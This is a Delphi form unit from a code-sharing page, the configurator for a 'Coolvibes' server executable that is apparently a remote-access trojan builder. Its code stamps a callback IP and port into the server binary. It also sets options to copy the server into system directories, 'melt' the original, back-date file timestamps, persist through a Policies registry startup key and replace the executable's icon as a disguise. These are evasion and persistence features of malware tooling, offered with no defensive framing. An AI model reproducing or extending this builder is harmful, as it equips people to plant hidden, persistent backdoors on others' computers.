📄 main.pas
字号:
unit Main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ExtCtrls, ComCtrls, SettingsDef, iconchanger;
type
TFormMain = class(TForm)
EditID: TEdit;
EditServerPath: TEdit;
LabelPath: TLabel;
BtnBrowse: TSpeedButton;
OpenDialog: TOpenDialog;
GroupBox1: TGroupBox;
ScrollBox1: TScrollBox;
BtnGuardarConfig: TSpeedButton;
Bevel1: TBevel;
Label1: TLabel;
EditIP: TEdit;
Label2: TLabel;
EditPuerto: TEdit;
Label3: TLabel;
Bevel2: TBevel;
Bevel3: TBevel;
BtnSalir: TSpeedButton;
Label5: TLabel;
EditTimeToNotify: TEdit;
Label6: TLabel;
MemoOutput: TMemo;
CheckBoxCopiar: TCheckBox;
Label7: TLabel;
Label8: TLabel;
EditFileName: TEdit;
GrpBoxCopiarA: TGroupBox;
CheckBoxMelt: TCheckBox;
Label11: TLabel;
Bevel5: TBevel;
Label12: TLabel;
CheckBoxPolicies: TCheckBox;
Label14: TLabel;
Label15: TLabel;
EditPoliciesName: TEdit;
Bevel6: TBevel;
EditCopyTo: TEdit;
Label9: TLabel;
CheckBoxCopiarConFechaAnterior: TCheckBox;
ImageHintCopiarA: TImage;
Bevel4: TBevel;
Label4: TLabel;
ImageIcon: TImage;
procedure BtnBrowseClick(Sender: TObject);
procedure BtnGuardarConfigClick(Sender: TObject);
procedure BtnSalirClick(Sender: TObject);
procedure CheckBoxCopiarClick(Sender: TObject);
procedure CheckBoxPoliciesClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ImageIconClick(Sender: TObject);
private
{ Private declarations }
IconPath: string;
public
{ Public declarations }
end;
var
FormMain: TFormMain;
implementation
{$R *.dfm}
procedure TFormMain.BtnBrowseClick(Sender: TObject);
begin
with OpenDialog do
begin
DefaultExt := 'exe';
Filter := 'Coolvibes Server |*.exe';
InitialDir := GetCurrentDir();
if Execute then
EditServerPath.Text := FileName;
end;
end;
procedure TFormMain.BtnGuardarConfigClick(Sender: TObject);
var
ConfigToSave: PSettings;
begin
MemoOutput.Lines.Append('> Writing server settings...');
New(ConfigToSave);
ConfigToSave.sHost := EditIP.Text;
ConfigToSave.sPort := EditPuerto.Text;
ConfigToSave.sID := EditID.Text;
ConfigToSave.iPort := StrToInt(EditPuerto.Text);
ConfigToSave.iTimeToNotify := StrToInt(EditTimeToNotify.Text);
ConfigToSave.bCopiarArchivo := CheckBoxCopiar.Checked;
ConfigToSave.sFileNameToCopy := EditFileName.Text;
ConfigToSave.sCopyTo := EditCopyTo.Text;
ConfigToSave.bMelt := CheckBoxMelt.Checked;
ConfigToSave.bArranquePolicies := CheckBoxPolicies.Checked;
ConfigToSave.sPoliciesRegKeyName := EditPoliciesName.Text;
ConfigToSave.bCopiarConFechaAnterior := CheckBoxCopiarConFechaAnterior.Checked;
if WriteSettings(PChar(EditServerPath.Text), ConfigToSave) = True then
begin
MemoOutput.Lines.Append('> Setings saved successful.');
end
else
begin
MessageBeep($FFFFFFFF);
MemoOutput.Lines.Append('> Cant save settings.');
end;
Dispose(ConfigToSave);
If IconPath <> '' then //cambiar icono
begin
if UpdateApplicationIcon(PChar(IconPath), PChar(EditServerPath.Text)) = True then
MemoOutput.Lines.Append('> The icon has changed successful.')
else
MemoOutput.Lines.Append('> Cant change the icon.');
end;
end;
procedure TFormMain.BtnSalirClick(Sender: TObject);
begin
Close;
end;
procedure TFormMain.CheckBoxCopiarClick(Sender: TObject);
begin
EditFileName.Enabled := CheckBoxCopiar.Checked;
EditCopyTo.Enabled := CheckBoxCopiar.Checked;
CheckBoxMelt.Enabled := CheckBoxCopiar.Checked;
CheckBoxCopiarConFechaAnterior.Enabled := CheckBoxCopiar.Checked;
Label8.Enabled := CheckBoxCopiar.Checked; //nombre de archivo
Label11.Enabled := CheckBoxCopiar.Checked; //melt
Label9.Enabled := CheckBoxCopiar.Checked; //fecha anterior
end;
procedure TFormMain.CheckBoxPoliciesClick(Sender: TObject);
begin
EditPoliciesName.Enabled := CheckBoxPolicies.Checked;
Label15.Enabled := CheckBoxPolicies.Checked; //nombre de clave
end;
procedure TFormMain.FormCreate(Sender: TObject);
begin
Application.HintHidePause := 20000; //desaparece a los 20 segundos
ImageHintCopiarA.Hint :=
'Se pueden poner variables en la ruta que ser醤 reemplazadas cuando se ejecute el servidor.' + #13#10 +
'Las variables aceptadas son:' + #13#10#13#10 +
'%WinDir% -> Se reemplaza por el directorio de Windows (Por ejemplo C:\Windows\)' + #13#10 +
'%SysDir% -> Se reemplaza por el directorio de sistema (Por ejemplo C:\System32\)' + #13#10 +
'%TempDir% -> Se reemplaza por el directorio de archivos temporales (Por ejemplo C:\Temp\)' + #13#10 +
'%RootDir% -> Se reemplaza por la ruta principal del directorio de Windows (Por ejemplo C:\)';
end;
procedure TFormMain.ImageIconClick(Sender: TObject);
begin
with OpenDialog do
begin
Title := 'Abrir icono...';
Options := [ofFileMustExist]; //solo deja seleccionar archivos que existan
Filter := 'Icono (*.ico)|*.ico';
DefaultExt := 'ico';
InitialDir := GetCurrentDir();
if Execute then
begin
if FileName <> '' then
begin
IconPath := FileName;
ImageIcon.Picture.LoadFromFile(IconPath);
end;
end;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -